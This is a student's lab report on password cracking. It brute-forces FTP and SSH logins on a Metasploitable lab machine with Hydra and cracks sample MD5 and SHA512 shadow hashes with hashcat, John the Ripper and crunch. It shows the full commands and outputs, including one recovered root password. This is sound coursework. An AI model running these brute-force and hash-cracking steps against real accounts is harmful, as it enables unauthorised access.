Assignment #5: Lab on Password Cracking Tools (6th Jan 2021)

Objectives

To help you gauge the level of security offered by the typical password systems. The goal is to crack as many passwords as possible in the inputs described below. This can take hours on fast laptops/ desktops, if you do not take advantage of multiple cores or GPU.

Students should be able to:

1. Recognize the limitations of the typical password schemes
2. Sketch the cracking algorithms, and use cracking tools

Background: Required Reading

1. Password Cracking Ideas
2. Some Well Known Cracking Tools
3. ./Word-Lists and Hash-Dumps
4. The following are readily available "word lists" in the context of choosing good passwords. This is obviously not an exhaustive list. Note also that some files are populated at multiple sites.
5. https://github.com/danielmiessler/SecLists/ is the security tester's companion. It is a collection of multiple types of lists used during security assessments. List types include usernames, passwords, URLs, sensitive data grep strings, fuzzing payloads, and many more. It includes a collection of password lists. It includes the *RockYou* lists.
6. `/usr/share/wordlists/*` of the Kali Linux distribution.
7. http://contest-2010.korelogic.com/wordlists.html wordlists used in "Crack Me If You Can" contest of DEFCON 2010.
8. https://wiki.skullsecurity.org/Passwords Passwords that were leaked or stolen from sites.
9. http://gdataonline.com/downloads/
10. http://www.justpain.com/ut_maps/wordlists/
11. http://weakpass.com/lists
12. http://www.adeptus-mechanicus.com/codex/hashpass/hashpass.php
13. http://www.openwall.com/wordlists/
14. Mark Burnett, Today I Am Releasing Ten Million Passwords, Feb 9, 2015.

1. SubLab-1: Online Password Cracking using Hydra

i. First of all, you are required to change Metasploitable 2 (target machine) default password to any password of your choice (choose weak password).

Password Change to "**aman**"

Fig 1.1: Password change of Metasploitable

ii. Then crack the password of ftp login (running of target machine) using the following command on Kali Linux (attack machine):

hydra -l username -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ftp://192.168.YYY.YYY –V

where *username* is the name of the user and *192.168.YYY.YYY* is the IP address of the target machine.

Fig 1.2: Password cracking through hydra

```
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "panther" - 992 o
f 1009 [child 13] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "dinamo" - 993 of
 1009 [child 3] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "mommy" - 994 of
1009 [child 10] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "juliana" - 995 o
f 1009 [child 7] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "cassandra" - 996
 of 1009 [child 1] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "trustno1" - 997
of 1009 [child 2] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "sexylady" - 998
of 1009 [child 11] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "14344" - 999 of
1009 [child 15] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "autumn" - 1000 o
f 1009 [child 4] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "mendoza" - 1001
of 1009 [child 8] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "sq!us3r" - 1002
of 1009 [child 0] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "adminpasswd" - 1
003 of 1009 [child 12] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "raspberry" - 100
4 of 1009 [child 6] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "74k6^*nh#$" - 10
05 of 1009 [child 14] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "arcsight" - 1006
 of 1009 [child 5] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "MargaretThatcher
is110%SEXY" - 1007 of 1009 [child 9] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "karaf" - 1008 of
 1009 [child 13] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "vagrant" - 1009
of 1009 [child 3] (0/0)
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-01-12 1
3:01:58

┌──(aman㉿kali)-[~]
└─$
```

Fig 1.3 No password detected

iii. If password is not found in dictionary (*unix_passwords.txt*) then include that password in dictionary then run the command again.

```
┌──(aman㉿kali)-[~]
└─$ nano /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

┌──(aman㉿kali)-[~]
└─$ sudo nano /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

[sudo] password for aman:

┌──(aman㉿kali)-[~]
└─$
```

Fig 1.4: Opening file with sudo nano cmd

```
87654321
twilight
imissyou
pollito
ashlee
tucker
cookie1
shelly
catalina
147852369
beckham
simone
nursing
iloveyou!
eugene
torres
damian
123123123
joshua1
bobby
babyface
andre
donald
daniel1
panther
dinamo
mommy
juliana
cassandra
trustno1
sexylady
14344
autumn
mendoza
sq!us3r
adminpasswd
raspberry
74k6^*nh#$
arcsight
MargaretThatcheris110%SEXY
karaf
vagrant
aman

^G Help      ^O Write Out  ^W Where Is   ^K Cut       ^T Execute   ^C Location  M-U Undo      M-A Set Mark  M-] To Bracket  M-Q Previous  ^B Back       ^← Prev Word  ^A Home
^X Exit      ^R Read File  ^\ Replace    ^U Paste     ^J Justify   ^_ Go To Line M-E Redo      M-6 Copy      ^Q Where Was    M-W Next      ^F Forward    ^→ Next Word  ^E End
```

Fig 1.5 Adding “aman” to unix_passwords.txt file

iv. Once the password has cracked, perform the ftp login on attack machine using the command *ftp 192.168.YYY.YYY*

```
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "dinamo" - 993 of 1011 [child 10] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "mommy" - 994 of 1011 [child 14] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "juliana" - 995 of 1011 [child 9] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "cassandra" - 996 of 1011 [child 13] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "trustno1" - 997 of 1011 [child 6] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "sexylady" - 998 of 1011 [child 7] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "14344" - 999 of 1011 [child 8] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "autumn" - 1000 of 1011 [child 15] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "mendoza" - 1001 of 1011 [child 4] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "sq!us3r" - 1002 of 1011 [child 0] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "adminpasswd" - 1003 of 1011 [child 2] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "raspberry" - 1004 of 1011 [child 1] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "74k6^*nh#$" - 1005 of 1011 [child 5] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "arcsight" - 1006 of 1011 [child 3] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "MargaretThatcheris110%SEXY" - 1007 of 1011 [child 12] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "karaf" - 1008 of 1011 [child 11] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "vagrant" - 1009 of 1011 [child 10] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "aman" - 1010 of 1011 [child 14] (0/0)
[ATTEMPT] target 192.168.43.228 - login "msfadmin" - pass "" - 1011 of 1011 [child 9] (0/0)
[21][ftp] host: 192.168.43.228   login: msfadmin   password: aman
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-01-12 13:29:39

┌──(aman㉿kali)-[~]
└─$
```

Fig 1.6 Password detected

```
┌──(aman㉿kali)-[~]
└─$ ftp 192.168.43.228
Connected to 192.168.43.228.
220 (vsFTPd 2.3.4)
Name (192.168.43.228:aman): msfadmin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Fig 1.7 FTP Login

v. Download and upload any file from and to target machine.

Steps:

i) Successful Login

ii) Try to list out the directory or file name but it gave error.

iii) Change the directory to vulnerable using cmd:

cd vulnerable

iv) Figure out that passive mode is off so to turn it on using command:

pass

v) Entery into directory twiki20030201 and finding out names of all files.

vi) Downloading Twiki20030201.tar.gz in the linux machine using cmd:

get Twiki20030201.tar.gz

vii) Uploading the file to the target machine using cmd:

post Twiki20030201.tar.gz

Fig 1.8 File transfer using ftp

vi) Repeat step i to iii using ssh login.

Step i: Password change to "alpha”

Fig 1.9 Password change to alpha

Step ii: Password cracking using ssh

Fig 1.10 Password cracking using Hydra

Fig 1.11 No password found

Step iii : Adding alpha to file

Fig 1.12 Opening the file

Fig 1.13 Password added to file

Step iv: Password cracking and login into ssh

Fig 1.12 Password detected

Fig 1.13 Login into ssh

vii: Perform secure copy (scp) to copy from and to target machine.

Fig 1.13 Transfer license.txt form target machine to attack machine

```
┌──(aman㉿kali)-[~]
└─$ scp ~/Desktop/tail msfadmin@192.168.43.228:/home/msfadmin/vulnerable/twiki20030201/twiki-source/
msfadmin@192.168.43.228's password:
tail                                                  100%    0     0.0KB/s   00:00
```

Fig 1.14 Transfer license.txt form attack machine to target machine

```
msfadmin@metasploitable:~$ cd vulnerable
msfadmin@metasploitable:~/vulnerable$ cd twiki^[[2~~^[[B^[[4~
-bash: cd: twiki~: No such file or directory
msfadmin@metasploitable:~/vulnerable$ cd twiki20030201
msfadmin@metasploitable:~/vulnerable/twiki20030201$ cd twiki-source
msfadmin@metasploitable:~/vulnerable/twiki20030201/twiki-source$ ls
bin          lib          readme.txt   TWikiDocumentation.html
data         license.txt  tail         TWikiHistory.html
index.html   pub          templates
msfadmin@metasploitable:~/vulnerable/twiki20030201/twiki-source$
```

Right Ctrl

Fig 1.15 tail in metasploitable

---

2. SubLab-2: Cracking MD5 Password Hashes using Hashcat/John the Ripper MD5 examples shown from machine M1 in the /etc/shadow file format. Just three entries.

student:1l67ia9iK$x80ABcEExHYMVpMx.Bls5.:13749:0:99999:7:::

jsmith:1Y4.kjoQ2$GIuEZcnQVPYi7RPWrQRTE.:14036:0:99999:7:::

jtripper:1WH2SxqnX$rL0J6JYshB3wl6yBm90Bd1:13887:0:99999:7:::

Crack the passwords of student, jsmith, and jtripper and include the screenshot in the report for each user.

i) Using unix_password wordlist:

Result: 0/3 recovered

Fig 2.1: Hashcat using unix_password.txt wordlist

ii) Using rockyou.txt wordlist

Result: 0/3 recovered

```
aman@kali: ~/Desktop
File  Actions  Edit  View  Help
Maximum password length supported by kernel: 15

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Optimized-Kernel
* Zero-Byte

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt.gz
* Passwords.: 139258
* Bytes.....: 53357329
* Keyspace..: 139258

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: crack.txt
Time.Started.....: Sun Jan 17 20:16:02 2021 (2 secs)
Time.Estimated...: Sun Jan 17 20:16:50 2021 (46 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     5948 H/s (5.19ms) @ Accel:32 Loops:1000 Thr:1 Vec:8
Recovered........: 0/3 (0.00%) Digests, 0/3 (0.00%) Salts
Progress.........: 143832/417774 (34.43%)
Rejected.........: 129144/143832 (89.79%)
Restore.Point....: 47685/139258 (34.24%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: $HEX[93b1d2a6e1fd41ae89743a0d8f85ea] -> $HEX[05ce155d7934]

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: crack.txt
Time.Started.....: Sun Jan 17 20:16:02 2021 (8 secs)
Time.Estimated...: Sun Jan 17 20:16:10 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     5582 H/s (5.09ms) @ Accel:32 Loops:1000 Thr:1 Vec:8
Recovered........: 0/3 (0.00%) Digests, 0/3 (0.00%) Salts
Progress.........: 417774/417774 (100.00%)
Rejected.........: 374178/417774 (89.56%)
Restore.Point....: 139258/139258 (100.00%)
Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: $HEX[9a5c3be54fa155b26aad] -> $HEX[87b0088381bdccb7ad560e]
```

Fig 2.2: Hashcat using rockyou.txt wordlist

iii) Estimating time and memory using brute force attack

Hints given: 8 words password + Uppercase, Lowercase and numeric values

i) Using Crunch

Result: On storing all combinations in file it will take 1PB memory.

```
┌──(aman㉿kali)-[~/Desktop]
└─$ crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 -o dict.txt
Crunch will now generate the following amount of data: 1725365816975529 bytes
1645437066 MB
1606872 GB
1569 TB
1 PB
Crunch will now generate the following number of lines: 191707312997281


crunch:   0% completed generating output
^Z
zsh: suspended  crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 -o
```

Fig: 2.3.1 Brute force using crunch

ii) Using John the Ripper brute force

Result : On an average it will take 497 days to crack this password using trivial brute force attack.

```
┌──(aman㉿kali)-[~/Desktop]
└─$ john crack.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8×3])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 22 candidates buffered for the current salt, minimum 24 needed for performance.
Warning: Only 12 candidates buffered for the current salt, minimum 24 needed for performance.
Warning: Only 6 candidates buffered for the current salt, minimum 24 needed for performance.
Warning: Only 21 candidates buffered for the current salt, minimum 24 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 16 candidates buffered for the current salt, minimum 24 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 24 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Warning: Only 4 candidates left, minimum 24 needed for performance.
Proceeding with incremental:ASCII
0g 0:00:00:17  3/3 0g/s 26442p/s 78336c/s 78336C/s passa..pasie
0g 0:00:00:19  3/3 0g/s 26460p/s 78493c/s 78493C/s jibluz..jibll1
0g 0:00:00:20  3/3 0g/s 26561p/s 78843c/s 78843C/s jialt1..jirair
0g 0:00:00:21  3/3 0g/s 26560p/s 78879c/s 78879C/s 10076..10582
0g 0:00:00:22  3/3 0g/s 26539p/s 78852c/s 78852C/s moobat..mood28
0g 0:00:00:23  3/3 0g/s 26610p/s 79097c/s 79097C/s cipez..cipak
0g 0:00:00:24  3/3 0g/s 26656p/s 79265c/s 79265C/s 057673..057667
0g 0:00:00:26  3/3 0g/s 26802p/s 79758c/s 79758C/s jm2233..jm2204
0g 0:00:00:30  3/3 0g/s 26953p/s 80296c/s 80296C/s molf33..mous05
0g 0:00:00:31  3/3 0g/s 27002p/s 80464c/s 80464C/s cede24..ceda28
0g 0:00:00:33  3/3 0g/s 27045p/s 80626c/s 80626C/s mcnjym..mcdiez
0g 0:00:00:34  3/3 0g/s 27087p/s 80767c/s 80767C/s coomer..coomia
0g 0:00:00:35  3/3 0g/s 27071p/s 80732c/s 80732C/s 102370..102649
0g 0:00:00:36  3/3 0g/s 27112p/s 80869c/s 80869C/s arct02..aran19
0g 0:00:00:38  3/3 0g/s 27133p/s 80958c/s 80958C/s mumailo..mumilay
Session aborted

┌──(aman㉿kali)-[~/Desktop]
└─$
```

Fig: 2.3.2 Brute force attack using john the ripper

iii) Using hashcat brute force attack

Result: I specified type to ullllll (means first character to be uppercase and rest lower but still it will take time)

```
aman@kali: ~/Desktop    Desktop - File Manager
aman@kali: ~/Desktop
File  Actions  Edit  View  Help

┌──(aman㉿kali)-[~/Desktop]
└─$ hashcat -m 500 -a 3 crack.txt ?u?l?l?l?l?l?l
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz, 1428/1492 MB (512 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers applied:
* Zero-Byte
* Brute-Force

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: crack.txt
Time.Started.....: Sun Jan 17 20:24:22 2021 (3 secs)
Time.Estimated...: Tue Sep  2 22:37:46 2025 (4 years, 228 days)
Guess.Mask.......: ?u?l?l?l?l?l?l [8]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     4293 H/s (7.34ms) @ Accel:128 Loops:250 Thr:1 Vec:8
Recovered........: 0/3 (0.00%) Digests, 0/3 (0.00%) Salts
Progress.........: 11520/626481193728 (0.00%)
Rejected.........: 0/11520 (0.00%)
Restore.Point....: 128/8031810176 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:12-13 Iteration:500-750
Candidates.#1....: Gxeerane -> Gghanane

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => q

Session..........: hashcat
Status...........: Quit
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: crack.txt
Time.Started.....: Sun Jan 17 20:24:22 2021 (8 secs)
Time.Estimated...: Mon Sep  1 23:38:55 2025 (4 years, 227 days)
Guess.Mask.......: ?u?l?l?l?l?l?l [8]
```

Fig: 2.3.3 Brute force attack using hashcat

3. SubLab-3: Cracking SHA512 Password Hashes using Hashcat/John the Ripper Since MD5 is considered "broken", Linux distributions have moved to using salted SHA512 password hashes (crypt id 6, i.e., 6), which are several orders of magnitude more difficult to brute-force. Example lines from machine M2:

root:6vPVevCXV$Pj2yIpQhprsMifm7i4X7F6IioqAQxJCyrhNjH4zK0fGYUc2gWjGJjobIwRp7wT5spTlLEywDW0ySmgB0XkVBs/:15401:0:99999:7:::

ceg442091:$6$03bKILGu$pgsg2fOTpYyhcPGSaJZfbVEFPgyle5YtGR1wY2ChuxSv7C4lEfdES26qAXa9UHqt04ap5v0AXF0DuWMXdeaWY0:15295:0:99999:7:::

ceg235013:6T6Yj4GYP$MjioJv3VqkU5WOx5gruV2fSHgitkSHMLvSx5M.KL5JCDsVIVKqf3uo0DGTV.CLar0dW4eV5VYTzbfSi9rA1g8/:15398:0:99999:7:::

Crack the passwords of root, ceg442091, ceg235013 and include the screenshot in the report for each user.

i) Using unix_wordlist.txt

Result: 0/3 recovered

Fig 3.1: Hashcat using unix_password.txt wordlist

ii) Using rockyou.txt

Result: 0/3 recovered

```
aman@kali: ~/Desktop
File  Actions  Edit  View  Help

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Uses-64-Bit

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt.gz
* Passwords.: 139258
* Bytes.....: 53357329
* Keyspace..: 139258

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: crack.txt
Time.Started.....: Sun Jan 17 20:33:07 2021 (29 secs)
Time.Estimated...: Sun Jan 17 20:41:35 2021 (7 mins, 59 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      548 H/s (13.27ms) @ Accel:32 Loops:1024 Thr:1 Vec:4
Recovered........: 0/3 (0.00%) Digests, 0/3 (0.00%) Salts
Progress.........: 154980/417774 (37.10%)
Rejected.........: 139236/154980 (89.84%)
Restore.Point....: 51371/139258 (36.89%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:2048-3072
Candidates.#1....: $HEX[be10f72923ca59e7c2] -> $HEX[bfc3ce71e13dc852af08bc6f00a7]

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Name........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: crack.txt
Time.Started.....: Sun Jan 17 20:33:07 2021 (1 min, 27 secs)
Time.Estimated...: Sun Jan 17 20:34:34 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      486 H/s (11.99ms) @ Accel:32 Loops:1024 Thr:1 Vec:4
Recovered........: 0/3 (0.00%) Digests, 0/3 (0.00%) Salts
Progress.........: 417774/417774 (100.00%)
Rejected.........: 374178/417774 (89.56%)
Restore.Point....: 139258/139258 (100.00%)
Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:4096-5000
Candidates.#1....: $HEX[9a5c3be54fa155b26aad] -> $HEX[87b0088381bdccb7ad560e]
```

Fig 3.2: Hashcat using rockyou.txt wordlist

iii) Brute force using hashcat

i) Using two words dictonary

Result: Password cracked for root:24

```
aman@kali: ~/Desktop    [Desktop - File Manager]
aman@kali: ~/Desktop
File  Actions  Edit  View  Help
┌──(aman㉿kali)-[~/Desktop]
└─$ hashcat -m 1800 -a 3 crack.txt ?d?d
hashcat (v6.1.1) starting ...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz, 1428/1492 MB (512 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers applied:
* Zero-Byte
* Brute-Force
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

$6$vPVevCXV$Pj2yIpQhprsMifm7i4X7F6IioqAQxJCyrhNjH4zK0fGYUc2gWjGJjobIwRp7wT5spTlLEywDW0ySmgB0XkVBs/:24

Session..........: hashcat
Status...........: Exhausted
Hash.Name........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: crack.txt
Time.Started.....: Sun Jan 17 20:37:38 2021 (1 sec)
Time.Estimated...: Sun Jan 17 20:37:39 2021 (0 secs)
Guess.Mask.......: ?d?d [2]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      384 H/s (2.50ms) @ Accel:32 Loops:512 Thr:1 Vec:4
Recovered........: 1/3 (33.33%) Digests, 1/3 (33.33%) Salts
Progress.........: 300/300 (100.00%)
Rejected.........: 0/300 (0.00%)
Restore.Point....: 10/10 (100.00%)
Restore.Sub.#1...: Salt:2 Amplifier:9-10 Iteration:4608-5000
Candidates.#1....: 62 -> 67

Started: Sun Jan 17 20:36:48 2021
Stopped: Sun Jan 17 20:37:40 2021
```

Fig 3.3.1: Brute force using hashcat

ii) Using all 3 words dictionary:

- Made 3 words dictionary using crunch and stored in dict.txt

```
┌──(aman㉿kali)-[~/Desktop]
└─$ crunch 3 3 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 -o dict.txt
Crunch will now generate the following amount of data: 907924 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 226981

crunch: 100% completed generating output

┌──(aman㉿kali)-[~/Desktop]
└─$ hashcat -m 1800 -a 0 -O crack.txt dict.txt
hashcat (v6.1.1) starting ...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz, 1428/1492 MB (512 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 15

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Uses-64-Bit

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

INFO: Removed 1 hash found in potfile.

Host memory required for this attack: 64 MB

Dictionary cache built:
* Filename..: dict.txt
* Passwords.: 226981
* Bytes.....: 907924
* Keyspace..: 226981
* Runtime...: 0 secs
```

Fig 3.3.2: Brute force using hashcat for 3words dictionary

iv) Using John the Ripper

```
┌──(aman㉿kali)-[~/Desktop]
└─$ john crack.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
0g 0:00:00:28 12.91% 2/3 (ETA: 21:17:19) 0g/s 887.2p/s 1566c/s 1566C/s telracs..ademordna
0g 0:00:00:52 24.02% 2/3 (ETA: 21:17:19) 0g/s 856.3p/s 1600c/s 1600C/s chivas7..carter7
0g 0:00:01:39 48.24% 2/3 (ETA: 21:17:08) 0g/s 797.9p/s 1538c/s 1538C/s Nomel..Reyarp
0g 0:00:01:45 51.33% 2/3 (ETA: 21:17:07) 0g/s 792.0p/s 1528c/s 1528C/s valentinE..donnA
0g 0:00:01:46 51.69% 2/3 (ETA: 21:17:08) 0g/s 790.8p/s 1526c/s 1526C/s gabbY..lolitA
0g 0:00:02:49 69.54% 2/3 (ETA: 21:17:46) 0g/s 681.6p/s 1328c/s 1328C/s Viking6..Slideshow6
0g 0:00:04:05 93.25% 2/3 (ETA: 21:18:05) 0g/s 640.0p/s 1256c/s 1256C/s Bobbied..Adidased
0g 0:00:04:09 94.62% 2/3 (ETA: 21:18:06) 0g/s 639.6p/s 1255c/s 1255C/s Qwered..Fictioned
Proceeding with incremental:ASCII
0g 0:00:05:44  3/3 0g/s 616.3p/s 1215c/s 1215C/s brie14..brylet
0g 0:00:05:48  3/3 0g/s 616.3p/s 1216c/s 1216C/s birens..pass
0g 0:00:05:51  3/3 0g/s 616.5p/s 1216c/s 1216C/s shamo1..shitta
0g 0:00:05:56  3/3 0g/s 616.4p/s 1216c/s 1216C/s 081410..085085
Session aborted

┌──(aman㉿kali)-[~/Desktop]
└─$
```

Fig 3.4: Attack using John the ripper